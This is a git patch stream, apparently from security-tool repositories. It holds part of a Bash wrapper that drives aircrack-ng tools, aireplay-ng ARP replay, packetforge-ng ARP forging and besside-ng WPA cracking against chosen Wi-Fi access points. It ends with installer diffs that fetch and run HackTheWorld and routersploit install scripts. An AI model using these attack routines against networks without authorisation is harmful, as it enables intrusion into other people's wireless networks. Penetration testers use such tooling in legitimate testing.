THE SESSION HAS FINISHED!" + echo "" + echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!" + echo "" + + read pause + + killAll + menuMain + +} + + +generateArpPacket(){ + + currentTask="generateArpPacket" + + $terminal aireplay-ng -4 $interfaceMonitor & + + # Alt + $terminal aireplay-ng -4 -h $macAddressMonitor $interfaceMonitor & + +} + + +tcpDump(){ + + currentTask="tcpDump" + + # Accepts a CAP file as INPUT + $terminal tcpdump -s 0 -n -e -r $1 & + +} + + +forgeArpRequest(){ + + currentTask="forgeArpRequest" + + # Accepts an XOR file as INPUT + #packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w "$initPath/$bssid-arp.cap" & + + # Accepts an XOR file as INPUT and a CAP file as OUTPUT + packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w $2 & + +} + + +replayArpRequest(){ + + currentTask="replayArpRequest" + + aireplay-ng -2 -r "$initPath/$bssid-arp.cap" $interfaceMonitor & + + # Accepts a CAP file as INPUT + #aireplay-ng -2 -r $1 $interfaceMonitor & + +} + + + +############################################################################ +# ATTACKS: UNIVERSAL END ############################################### +############################################################################ + + + + +############################################################################ +# BESSIDE-NG STUFF BEGIN ############################################### +############################################################################ + + +bessideMain(){ + + currentTask="bessideMain" + + banner + bannerStats + + echo "" + echo "Select a mode and press ENTER:" + echo "" + echo "" + echo "1) Normal" + echo "" + echo "2) WPA Only" + echo "" + echo "3) Upload" + echo "" + echo "4) Set Flood Rate" + echo "" + echo "5) Return To Previous Menu" + echo "" + echo "" + + read getBessideMode + + hotkeyInput="$getBessideMode" + + loadMenuHotkeys "$hotkeyInput" + + case "$getBessideMode" in + + "") + bessideMain + ;; + + "1") + bessideNormal + ;; + + "2") + bessideWPAOnly + ;; + + "3") + bessideUpload + ;; + + "4") + bessideSetFloodRate + ;; + + "5") + $lastMenuID + ;; + + *) + bessideMain + ;; + + esac + +} + + +bessideNormal(){ + + currentTask="bessideNormal" + + $terminal besside-ng -b $bssid -c $channel -vv $interfaceMonitor + +} + + +bessideUpload(){ + + currentTask="bessideUpload" + + $terminal besside-ng -b $bssid -c $channel -s $serverWPA -vv $interfaceMonitor + +} + + +bessideWPAOnly(){ + + currentTask="bessideWPAOnly" + + $terminal besside-ng -b $bssid -c $channel -W -vv $interfaceMonitor + +} + + +bessideSetFloodRate(){ + + currentTask="bessideSetFloodRate" + + bessideFloodRate="" + +} + + +############################################################################ +# BESSIDE-NG STUFF END ################################################# +############################################################################ + + + + +############################################################################ +# POST EXPLOITATION BEGIN ############################################## +############################################################################ + + + + + + +############################################################################ +# POST EXPLOITATION END ################################################ +############################################################################ + + + + +############################################################################ +# PROCESS MANAGEMENT BEGIN ############################################# +############################################################################ + + +killProcesses(){ + + currentTask="killProcesses" + + killall NetworkManager + killall NetworkManagerDispatcher + #killall wpa_supplicant + #killall avahi-daemon + +} + + +restartProcesses(){ + + currentTask="restartProcesses" + + #killall NetworkManager + NetworkManager + + #killall NetworkManagerDispatcher + NetworkManagerDispatcher + + #wpa_supplicant + #avahi-daemon + +} + + +killWifite(){ + + currentTask="killWifite" + + findWifitePID=$(ps -A | grep "wifite" | head -c5) + + case "$findWifitePID" in + + "") + # No Process Found + ;; + + *) + killWifiteTemp=$(kill $findWifitePID) + ;; + esac + + +} + + +killAirodump(){ + + currentTask="killAirodump" + + findAirodumpPID=$(ps -A | grep "airodump-ng" | head -c5) + + case "$findAirodumpPID" in + + "") + # No Process Found + ;; + + *) + killAirodumpTemp=$(kill $findAirodumpPID) + #killAirodumpTemp=$(killall airodump-ng) + ;; + esac + +} + + +killAireplay(){ + + currentTask="killAireplay" + + findAireplayPID=$(ps -A | grep "aireplay-ng" | head -c5) + + case "$findAireplayPID" in + + "") + # No Process Found + ;; + + *) + killAireplayTemp=$(kill $findAireplayPID) + ;; + esac + +} + + +killAircrack(){ + + currentTask="killAircrack" + + findAircrackPID=$(ps -A | grep "aircrack-ng" | head -c5) + + case "$findAircrackPID" in + + "") + # No Process Found + ;; + + *) + killAircrackTemp=$(kill $findAircrackPID) + ;; + esac + +} + + +killWash(){ + + currentTask="killWash" + + findWashPID=$(ps -A | grep "wash" | head -c5) + + case "$findWashPID" in + + "") + # No Process Found + ;; + + *) + killAircrackTemp=$(kill $findWashPID) + ;; + esac + +} + + +killAll(){ + + killAirodump + killAireplay + killAircrack + killWash + killWifite + +} + + +############################################################################ +# PROCESS MANAGEMENT END ############################################### +############################################################################ + + + + + +############################################################################ +# SESSIONS STUFF BEGIN ################################################# +############################################################################ + + +cleanSessionFiles(){ + + currentTask="cleanSessionFiles" + + banner + echo "" + $red + echo "*** THIS WILL ERASE ALL CURRENT SESSION FILES!!!" + $white + echo "" + echo "" + echo "If you would like to create a backup before doing this, press B and ENTER" + echo "" + echo "" + echo "If you would like to CANCEL, press C and ENTER" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "Automatically Continuing In 10 Seconds" + $white + echo "" + echo "" + + read -t 10 eraseSessionConfirm + + case "$eraseSessionConfirm" in + + "") + banner + echo "" + echo "Cleaning Session Files...." + echo "" + echo "" + + #rm "$capturePath/wep/wep.sessions" + #rm "$capturePath/wps/wps.sessions" + #rm "$capturePath/wpa/wpa.sessions" + #rm "$capturePath/wpa2/wpa2.sessions" + + rm -r "$capturePath" + sleep 1 + mkdir "$capturePath" + + banner + echo "" + echo "Cleaning Session Files...." + echo "" + echo "" + ;; + + "c" | "C") + menuExtras + ;; + + "b" | "B") + backupFromSessionErase="1" + backupSessionFiles + ;; + + *) + cleanSessionFiles + ;; + + esac + +} + + +backupSessionFiles(){ + + currentTask="backupSessionFiles" + + backupName="sessions-backup-$displayDate3" + backupDir="sessions" + #nextBackupSlot=0 + + if [ -f "$backupName.zip" ]; then + nextBackupSlot=$((nextBackupSlot+1)) + backupName="$backupName-$nextBackupSlot" + fi + + + #echo "$backupName" + #echo "$nextBackupSlot" + #read pause + + banner + echo "" + echo "Backing Up Session Files To:" + echo "" + $cyan + echo "$backupName...." + $white + echo "" + echo "" + + case "$backupFromCaptureErase" in + + "1") + sessionCopyNewCaptureFiles + banner + echo "" + sleep 2 + zip -9 -r $backupName $backupDir + sleep 1 + cleanCaptureFiles + backupFromCaptureErase="0" + ;; + esac + + case "$backupFromSessionErase" in + + "0") + sleep 3 + zip -9 -r $backupName $backupDir + ;; + + "1") + sleep 2 + zip -9 -r $backupName $backupDir + sleep 1 + cleanSessionFiles + backupFromSessionErase="0" + ;; + esac + +} + + +sessionWriteBeginNew(){ + + currentTask="sessionWriteBeginNew" + + getCurrentDateAndTime + + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "***** Begin New Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + +} + + +sessionWriteLoadPrevious(){ + + currentTask="sessionWriteLoadPrevious" + + getCurrentDateAndTime + + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "***** Load Previous Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + +} + + +sessionWriteEndCurrent(){ + + currentTask="sessionWriteEndCurrent" + + getCurrentDateAndTime + + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "***** End Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + +} + + +sessionRemoveEmpty(){ + + currentTask="sessionRemoveEmpty" + + #banner + #echo "" + #echo "Removing Empty Sessions...." + #echo "" + #echo "" + + rm "$capturePath/$encryptionType/empty.sessions" + rmdir "$capturePath/empty" + + banner + echo "" + #echo "Removing Empty Sessions...." + #echo "" + #echo "" + +} + + +sessionCreatePaths(){ + + getBSSIDCharOnly + + mkdir "$capturePath" + mkdir "$capturePath/$encryptionType/" + +} + + +sessionCopyNewCaptureFiles(){ + + cp *.cap "$capturePath/$encryptionType" + cp *.ivs "$capturePath/$encryptionType" + cp *.xor "$capturePath/$encryptionType" + cp *.csv "$capturePath/$encryptionType" + cp *.netxml "$capturePath/$encryptionType" + +} + + +sessionSave(){ + + currentTask="sessionSave" + + getCurrentDateAndTime + + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "***** Save Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions" + echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions" + +} + + +sessionLoad(){ + + banner + bannerStats + + currentTask="sessionLoad" + + while read line + do + echo -e "$line \n" + done <"$capturePath/$encryptionType/$encryptionType.sessions" + + echo "" + echo "" + echo "" + echo "Scroll up to see all loaded sessions." + echo "" + echo "" + echo "" + echo "Press ENTER to continue...." + echo "" + echo "" + + read pause + +} + + +cleanCaptureFiles(){ + + currentTask="cleanCaptureFiles" + + banner + echo "" + $red + echo "*** THIS WILL ERASE ALL CURRENT CAPTURE FILES!!!" + $white + echo "" + echo "" + echo "If you would like to create a backup before doing this, press B and ENTER" + echo "" + echo "" + echo "If you would like to CANCEL, press C and ENTER" + echo "" + echo "" + echo "" + echo "" + echo "Files will be copied to the \"/sessions/\" directory and backed up to a ZIP file" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "Automatically Continuing In 10 Seconds..." + $white + echo "" + echo "" + + read -t 10 eraseCaptureConfirm + + case "$eraseCaptureConfirm" in + + "") + banner + echo "" + echo "Cleaning Capture Files...." + echo "" + echo "" + + sleep 3 + + rm *.cap + rm *.ivs + rm *.xor + rm *.csv + rm *.netxml + ;; + + "c" | "C") + menuExtras + ;; + + "b" | "B") + backupFromCaptureErase="1" + backupSessionFiles + ;; + + *) + cleanCaptureFiles + ;; + + esac + +} + + +findCaptureFiles(){ + + currentTask="findCaptureFiles" + + listCap=$(ls | grep .cap) + listIvs=$(ls | grep .ivs) + listXor=$(ls | grep .xor) + listCsv=$(ls | grep .csv) + listNetXml=$(ls | grep .netxml) + +} + + +############################################################################ +# SESSIONS STUFF END ################################################### +############################################################################ + + + + + +############################################################################ +# EMPTY VARIABLE CHECKS BEGIN ########################################## +############################################################################ + + +checkForEmptyEncryptionType(){ + + currentTask="checkForEmptyEncryptionType" + + if [ "$encryptionType" == "empty" ];then + + banner + bannerStats + + echo "" + echo "There is currently no Encryption Type selected!" + echo "" + echo "" + echo "Press ENTER to return to main menu...." + echo "" + echo "" + + read pause + + menuMain + fi + +} + + +checkForEmptyCredentials(){ + + currentTask="checkForEmptyCredentials" + + case "$1" in + + "bssid") + if [ "$bssid" == "" ];then + + banner + bannerStats + + echo "" + echo "There is currently no BSSID saved in the previous session!" + echo "" + echo "" + echo "Press ENTER to return to previous menu...." + echo "" + echo "" + + read pause + + $lastMenuID + fi + ;; + + "essid") + if [ "$essid" == "" ];then + + banner + bannerStats + + echo "" + echo "There is currently no ESSID saved in the previous session!" + echo "" + echo "" + echo "Press ENTER to return to previous menu...." + echo "" + echo "" + + read pause + + fi + + ;; + + "channel") + if [ "$channel" == "" ];then + + banner + bannerStats + + echo "" + echo "There is currently no CHANNEL saved in the previous session!" + echo "" + echo "" + echo "Press ENTER to return to previous menu...." + echo "" + echo "" + + read pause + + $lastMenuID + fi + ;; + + esac + +} + + +############################################################################ +# EMPTY VARIABLE CHECKS END ############################################ +############################################################################ + + + + + +############################################################################ +# INTERFACE STUFF BEGIN ################################################ +############################################################################ + +checkInterfaceMode(){ + + currentTask="checkInterfaceMode" + + interfaceModeCheck=$(iwconfig | grep "$interfaceMonitor" | head -c 5) + + case "$interfaceModeCheck" in + + "") + interfaceMode="0" + #break; + ;; + + *) + interfaceMode="2" + #break; + ;; + + esac + +} + + +checkMultipleAdapters(){ + + currentTask="checkMultipleAdapters" + + interfaceNumber="0" + interfaceNumberMax="99" + interfacesFound="0" + + while [ $interfaceNumber -le $interfaceNumberMax ] + + do + banner + $white + echo "" + echo "Checking WiFi Adapters...." + echo "" + echo "" + + interfaceCheck=$(iwconfig | grep "wlan$interfaceNumber" | head -c 5) + interfaceMonitor="$interfaceCheck""mon" + interfaceName=$interfaceMonitor + + case "$interfaceCheck" in + + "") + interfaceNumber="99" + interfaceNumberMax="99" + break; + ;; + + *) + #interface="$interfaceCheck" + interfaceNumber=$(($interfaceNumber+1)) + interfacesFound=$(($interfacesFound+1)) + ;; + + esac + + #echo "interfaceNumber: $interfaceNumber" + #echo "interfaceNumberMax: $interfaceNumberMax" + #echo "interfaceCheck: $interfaceCheck" + #echo "interfacesFound: $interfacesFound" + #read pause + + + done + +} + + +getWirelessInterfaceNames(){ + + currentTask="getWirelessInterfaceNames" + + #if [ ! -z "$showAdapterUsbAtherosAR9271" ]; then + + # showAdapterOneName="$showAdapterUsbAtherosAR9271" + + #fi + +} + + +getWirelessInterfaces(){ + + currentTask="getWirelessInterfaces" + + # Check for the "refresh" flag and DO NOT display text if enabled + # This is for the 2nd "getWirelessInterfaces" call for some forgotten reason :rolleyes: (Hides Text) + case "$1" in + + # This is just splashing some text to wait out the 5 minute timeout....make it look useful!! + "refresh") + banner + echo "" + echo "Preparing $encryptionTypeText Attack...." + echo "" + ;; + + *) + checkMultipleAdapters + + banner + echo "" + $cyan + echo "To Change Adapter Settings, Press \"C\" Now" + $white + #echo "" + #$cyan + #echo "Current: $interface" + $white + echo "" + echo "" + echo "To Select Interface From Discovered, Choose From Below" + echo "" + $green + + # If no adpaters found + if [ $interfacesFound -eq "0" ]; then + $red + echo "NO WIFI ADAPTER FOUND!!!" + $cyan + fi + + # If only one device detected + if [ $interfacesFound -eq "1" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + fi + + if [ $interfacesFound -eq "2" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + fi + + if [ $interfacesFound -eq "3" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + fi + + if [ $interfacesFound -eq "4" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + fi + + if [ $interfacesFound -eq "5" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + fi + + if [ $interfacesFound -eq "6" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + echo "6) wlan5 ($showAdapterSixName)" + fi + + if [ $interfacesFound -eq "7" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + echo "6) wlan5 ($showAdapterSixName)" + echo "7) wlan6 ($showAdapterSevenName)" + fi + + if [ $interfacesFound -eq "8" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + echo "6) wlan5 ($showAdapterSixName)" + echo "7) wlan6 ($showAdapterSevenName)" + echo "8) wlan7 ($showAdapterEightName)" + fi + + if [ $interfacesFound -eq "9" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + echo "6) wlan5 ($showAdapterSixName)" + echo "7) wlan6 ($showAdapterSevenName)" + echo "8) wlan7 ($showAdapterEightName)" + echo "9) wlan8 ($showAdapterNineName)" + fi + + if [ $interfacesFound -eq "10" ]; then + getWirelessInterfaceNames + echo "1) wlan0 ($showAdapterOneName)" + echo "2) wlan1 ($showAdapterTwoName)" + echo "3) wlan2 ($showAdapterThreeName)" + echo "4) wlan3 ($showAdapterFourName)" + echo "5) wlan4 ($showAdapterFiveName)" + echo "6) wlan5 ($showAdapterSixName)" + echo "7) wlan6 ($showAdapterSevenName)" + echo "8) wlan7 ($showAdapterEightName)" + echo "9) wlan8 ($showAdapterNineName)" + echo "10) wlan9 ($showAdapterTenName)" + fi + + $white + echo "" + echo "" + echo "" + echo "TO USE DEFAULTS, JUST PRESS ENTER!" + echo "" + echo "" + echo "Continuing In 10 Seconds...." + echo "" + echo "" + ;; + + esac + + read -t 10 manualInterface + + hotkeyInput="$manualInterface" + + loadMenuHotkeys "$hotkeyInput" + + case "$manualInterface" in + + "") + case "$isKaliTwo" in + + "0") + interface=$(iwconfig | grep "wlan" | head -c 5) + #interfaceMonitor=$(iwconfig | grep "mon" | head -c 4) + interfaceMonitor="$interface""mon" + interfaceName=$interfaceMonitor + ;; + + "1") + interface=$(iwconfig | grep "wlan" | head -c 5) + #interfaceMonitor=$(iwconfig | grep "wlan" | head -c 8) + interfaceMonitor="$interface""mon" + interfaceName=$interfaceMonitor + #fixKaliTwoMonError + ;; + + esac + ;; + + "1") + interface="wlan0" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "2") + interface="wlan1" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "3") + interface="wlan2" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "4") + interface="wlan3" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "5") + interface="wlan4" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "6") + interface="wlan5" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "7") + interface="wlan6" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "8") + interface="wlan7" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "9") + interface="wlan8" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "10") + interface="wlan9" + interfaceMonitor="$interface""mon" + interfaceName="$interfaceMonitor" + ;; + + "C" | "c") + banner + echo "" + echo "Enter Managed Mode Interface Name and press ENTER:" + echo "" + echo "" + echo "" + echo "Example: wlan0" + echo "" + echo "" + echo "" + $cyan + echo "If Nothing Is Entered, Then Default Values Are Used" + $white + echo "" + echo "" + + read manualSelectionManaged + + case "$manualSelectionManaged" in + + "") + interface=$(iwconfig | grep "wlan" | head -c 5) + manualSelectionManaged="$interface" + ;; + + *) + interface="$manualSelectionManaged" + interfaceName="$interface$manualSelectionManaged" + ;; + + esac + + banner + echo "" + echo "Enter Monitor Mode Interface Name and press ENTER:" + echo "" + echo "" + echo "" + echo "Example: $manualSelectionManaged""mon" + echo "" + echo "" + echo "" + $cyan + echo "If Nothing Is Entered, Then Default Values Are Used" + $white + echo "" + echo "" + + read manualSelectionMonitor + + case "$manualSelectionMonitor" in + + "") + interfaceMonitor="$interface""mon" + ;; + + *) + interfaceMonitor="$manualSelectionMonitor""mon" + interfaceName="$manualSelectionMonitor""mon" + ;; + + esac + ;; + + "W" | "w") + #returnTo="getWirelessInterfaces" + #spoofMacAddress + getWirelessInterfaces + ;; + + *) + getWirelessInterfaces + ;; + + esac + + #echo "$interface" + #echo "$interfaceMonitor" + #read pause + +} + + +disableChannelHopping(){ + + sleep 1 + ifconfig $interface down + +} + + +enableChannelHopping(){ + + sleep 1 + ifconfig $interface up + +} + +interfaceUp(){ + + #ifconfig $interface up + ifconfig $interfaceMonitor up + +} + + +interfaceDown(){ + + #ifconfig $interface down + ifconfig $interfaceMonitor down + +} + + +interfaceManaged(){ + + #iwconfig wlan0mon mode managed + iwconfig $interfaceMonitor mode managed + +} + + +interfaceMonitor(){ + + #iwconfig wlan0mon mode monitor + iwconfig $interfaceMonitor mode monitor + +} + + +fixKaliTwoMonError(){ + + currentTask="fixKaliTwoMonError" + + case "$isDebugMode" in + + "1") + echo "DEBUG: Kali 2.x Fix - Step 1" + echo "" + echo "$interface" + echo "$interfaceMonitor" + read pause + ;; + esac + + ifconfig $interfaceMonitor down + sleep 2 + iwconfig $interfaceMonitor mode monitor + sleep 2 + ifconfig $interfaceMonitor up + + case "$isDebugMode" in + + "1") + echo "DEBUG: Kali 2.x Fix - Step 2" + echo "" + echo "$interface" + echo "$interfaceMonitor" + read pause + ;; + esac +} + + +############################################################################ +# INTERFACE STUFF END ################################################## +############################################################################ + + + +############################################################################ +# MISC STUFF BEGIN ##################################################### +############################################################################ + + +# Reset Session Values Back To Default +setDefaultSession(){ + + currentTask="setDefaultSession" + + sessionID="0" + + capturePath=$(echo "$PWD/sessions") + capturePathWEP=$(echo "$PWD/sessions/wep") + capturePathWPS=$(echo "$PWD/sessions/wps") + capturePathWPA=$(echo "$PWD/sessions/wpa") + capturePathWPA2=$(echo "$PWD/sessions/wpa2") + +} + + +getCustomList(){ + + banner + bannerStats + + currentTask="getCustomList" + + echo "" + echo "Enter the path to the list and press ENTER:" + echo "" + echo "" + echo "Example: /pentest/wordlists/dictionary1.txt" + echo "" + echo "" + + + read tmpCustomList + + case "$tmpCustomList" in + + "") + getCustomList + ;; + + *) + wordlist="$tmpCustomList" + ;; + + esac + +} + + +getBSSIDCharOnly(){ + + currentTask="getBSSIDCharOnly" + + if [ "$bssid" != "" ];then + + bssidCharOnly=$(echo $bssid | sed 's/[\:]//g') + fi + +} + + +getCurrentDate(){ + + displayDate=$(date +"%D") + displayDate2=$(date +"%Y-%m-%d") + displayDate3=$(date +"%Y%m%d") + +} + + +getCurrentTime(){ + + displayTime=$(date +"%T") + +} + + +getCurrentDateAndTime(){ + + displayDateAndTime=$(date +"%D - %T") + displayDateAndTime2=$(date +"%Y%m%d / %T") + displayDateAndTime3=$(date +"%Y-%m-%d / %T") + +} + + +fixNegativeOneChannelError(){ + + airmon-ng check kill + +} + + +startNetworkManager(){ + + NetworkManager + +} + + +killNetworkManager(){ + + currentPID=$(ps -A | grep NetworkManager | cut -c 1-5) + killTask=$(kill $currentPID) + + #echo "$currentPID" + #echo "$killTask" + + #read pause + +} + + +wpaSupplicantKill(){ + + currentTask="wpaSupplicantKill" + + #currentPID=$(ps -A | grep wpa_supplicant | cut -c 1-5) + #killTask=$(kill $currentPID) + + killall wpa_supplicant + + #echo "$currentPID" + #echo "$killTask" + + #read pause + +} + +wpaSupplicantEnable(){ + + currentTask="wpaSupplicantEnable" + + systemctl enable wpa_supplicant + +} + +wpaSupplicantDisable(){ + + currentTask="wpaSupplicantDisable" + + systemctl disable wpa_supplicant + +} + + +# This will output all variables and values currently in use, and is for debugging purposes only +dumpEnvironment(){ + + currentTask="dumpEnvironment" + + + +} + + +readXML(){ + + local ifsType="$1" + local ifsCustom="$2" + + currentTask="readXML" + + case "$ifsType" in + + "") + local IFS=\> ; read -d \< E C ; + ;; + + "essid") + local IFS=\> ; read -d \< E C ; + ;; + + "bssid") + local IFS=\> ; read -d \< E C ; + ;; + + "channel") + local IFS=\> ; read -d \< E C ; + ;; + + # Takes 2 parameters + "custom") + local IFS=$ifsCustom ; read -d $ifsCustom E C ; + ;; + + esac + + + +} + + + + +openScanTargetsAsText(){ + + while readXML "essid" ""; do + + if [[ $E = " cloaked=\"false\"" ]]; then + echo $C + fi + + done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT" + + while readXML "bssid" ""; do + + if [[ $E = BSSID ]]; then + echo $C + fi + + done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT" + + while readXML "channel" ""; do + + if [[ $E = channel ]]; then + echo $C + fi + + done < "$defaultScanOutputXML" >> "$defaultScanOutputTXT" + + $terminal gedit "$defaultScanOutputTXT" +} + + +cleanTempScanResultsFile(){ + + flag="$1" + + case "$flag" in + + "all") + rm "$defaultScanOutputIVS" + rm "$defaultScanOutputXML" + rm "$defaultScanOutputTXT" + ;; + + "ivs") + rm "$defaultScanOutputIVS" + ;; + + "xml") + rm "$defaultScanOutputXML" + ;; + + "txt") + rm "$defaultScanOutputTXT" + ;; + + esac + +} + + +############################################################################ +# MISC STUFF END ####################################################### +############################################################################ + + + + + +############################################################################ +# INITIAL LAUNCH BEGIN ################################################# +############################################################################ + + +initMain + + +############################################################################ +# INITIAL LAUNCH END ################################################### +############################################################################ + + + + + + From 3324bf86a83fb4846eb246d8e1a79dea3b1df316 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 02:05:15 +0500 Subject: [PATCH 201/272] Add files via upload --- Kali_Installer.sh | 9 ++ ParrotOS_Installer.sh | 19 +-- ReconCobra.pl | 300 ++++++++++++++++++++++++++++++++++++++++-- Termux_Installer.sh | 17 ++- bruter.sh | 12 ++ mascan.sh | 3 + router.sh | 3 + scrambler.sh | 3 + useddatabasefiles.sh | 15 +++ 9 files changed, 364 insertions(+), 17 deletions(-) create mode 100644 bruter.sh create mode 100644 mascan.sh create mode 100644 router.sh create mode 100644 scrambler.sh create mode 100644 useddatabasefiles.sh diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 56bfc5b..204b1f1 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -118,6 +118,15 @@ echo "y" | git clone https://github.com/chenjj/CORScanner.git cd CORScanner pip install -r requirements.txt cd .. +echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git +cd HackTheWorld +chmod +x install.sh && ./install.sh +cd .. +echo "y" | git clone https://github.com/threat9/routersploit +cd routersploit +sudo easy_install pip +sudo pip install -r requirements.txt +cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 811ab5d..df9c06d 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -50,13 +50,7 @@ sudo apt-get install -y perl echo -e "$red [$green+$red]$off Installing JSON Module ..."; cpan -fi JSON echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" |wget https://cpan.metacpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz -tar -xvf WWW-Mechanize-1.91.tar.gz -cd WWW-Mechanize-1.91 -perl Makefile.PL -make -make install -cd .. +echo "y" | cpan -fi WWW::Mechanize echo "y" | cpan -fi use HTML::TokeParser echo "y" | cpan -fi Term::ANSIColor echo "y" | cpan -fi Mojo::DOM @@ -103,9 +97,9 @@ echo "y" | apt-get install xdg-utils echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 +echo "y" | apt-get install ccrypt echo "y" | apt-get install python2.7 echo "y" | apt-get install python3 - echo "y" | apt-get install golang echo "y" | apt-get install curl echo "y" | apt-get install nfs-common @@ -128,7 +122,16 @@ echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git +cd HackTheWorld +chmod +x install.sh && ./install.sh +cd .. echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/threat9/routersploit +cd routersploit +sudo easy_install pip +sudo pip install -r requirements.txt +cd .. echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git echo "y" | git clone https://github.com/heycam/json-describe diff --git a/ReconCobra.pl b/ReconCobra.pl index 4582fca..a664669 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -123,6 +123,15 @@ "ap|linkfinder=s" => \$linkfinder, "aq|geotagging=s" => \$geotagging, "as|mireer=s" => \$mireer, + "at|bruter=s" => \$bruter, 